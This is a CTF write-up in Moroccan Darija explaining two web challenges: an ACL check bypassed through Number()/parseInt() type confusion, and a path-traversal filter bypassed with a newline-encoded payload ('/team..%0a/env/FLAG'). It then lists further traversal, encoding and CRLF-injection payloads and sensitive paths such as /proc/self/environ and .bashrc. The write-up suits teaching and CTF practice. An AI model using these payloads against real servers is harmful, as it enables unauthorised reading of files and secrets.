Web CTF: Challenge Notes
فـindex.js عندهم هاد الكود باش يمنعو الـpath traversal: يعني أي حاجة فيها ../ أو ..\\ أو % أو \ غادي ترجع 403. الهدف: يمنع أي محاولة باش تدخل للسيرفر الداخلي (/env/FLAG) عن…
ACL ACL = رقم يحدد الصلاحيات. فالـchallenge: الفحص كان ناقص لأن ما داروش تحويل للـACL قبل ما يقارنوه. استغلالو: تبعث قيمة على شكل سلسلة تبدأ برقم ولكن فيها حروف بعد الرقم (مثلاً "123qwerty"). هاد الشي كيخلي الشرط (ACL > 1) يرجع false ولكن parseInt يخزن 123 → تولّي عندك صلاحيات.
مثال عملي بسيط باش تبان الفكرة
فتح console فـnode وجرّب هاد الأسطر:
> Number("123qwerty")
NaN
> NaN > 1
false
> parseInt("123qwerty")
123تشوف الفرق: Number() عطى NaN، أما parseInt() عطى 123.
challenge 2#
فـindex.js عندهم هاد الكود باش يمنعو الـpath traversal:
if (teamId.includes("../") || teamId.includes("..\\") || teamId.includes("%") || teamId.includes("\\")) {
return res.status(403).send("Forbidden");
}يعني أي حاجة فيها ../ أو ..\ أو % أو \ غادي ترجع 403. الهدف: يمنع أي محاولة باش تدخل للسيرفر الداخلي (/env/FLAG) عن طريق الـteam ID.
ولكن ثغرة صغيرة في URL() و fetch() في JavaScript: طريقة استدعاء الرابط في المتصفح غالباً كاتستعمل:
window.location.href = `/team/${encodeURIComponent(teamId)}`هنا، الـnewline character \n كيتشاف كـ escape sequence وكتحيدو الـURL() تلقائياً قبل ما يوصل للـfetch() فـbackend. النتيجة: تقدر تدخل payload بحال:
/team..%0a/env/FLAGhttp://TARGET:3000/team..%0a/env/FLAG%0a = newline (\n)
بما أن الـnewline كيتحيد، السيرفر يشوف request حقيقي كالتالي: /team../env/FLAG
وهنا الـcheck ديال includes("../") يفشل لأن السيرفر ماشفش الـ../ مباشرة (تم إزالة newline قبل المقارنة)، وبالتالي كتقدر توصل للـ/env/FLAG مباشرة!
الخلاصة#
الفكرة كلها في تفصيل صغير: السيرفر كان كيتحقق من ../ باش يمنع path traversal.
لكن JavaScript و URL() و fetch() كيحيدو \n قبل ما تبعت request → الشرط مايتحققش → request يوصل لـbackend ويجيب الـflag.
هادشي هو السبب علاش /team..%0a/env/FLAG خدام ويجيب الـflag.
طرق بديلة وتجريبية (li t9dar tjarrab)
other techniques :#
newline / carriage return:
..%0a (LF)
..%0d (CR)
..%0d%0a (CRLF)
double-encoding:
..%250a (هنا %25 هي % مشفّرة، السيرفر يقدر يفكّها مرتين)
null byte (قديم ولكن مفيد فبعض البيئات):
..%00/ (يوضع بعد المسار باش يخلي بعض الـC libraries يتصرفو غريب)
encode slashes / backslashes:
..%2f or ..%5c
unicode/utf-8 variations:
overlong encodings أو استخدام unicode separators (rare)
mix مع header injection / CRLF:
..%0d%0aHost: internal (CRLF injection — قريب للمسألة ولكن خطر وخاص التعامل بحذر)
double slash / path obfuscation:
/team/..;/env/FLAG ، /team/%2e%2e%2f/env/FLAGskills#
top path
/proc/self/environ
/proc/self/fd/6
/home/anas/.bashrc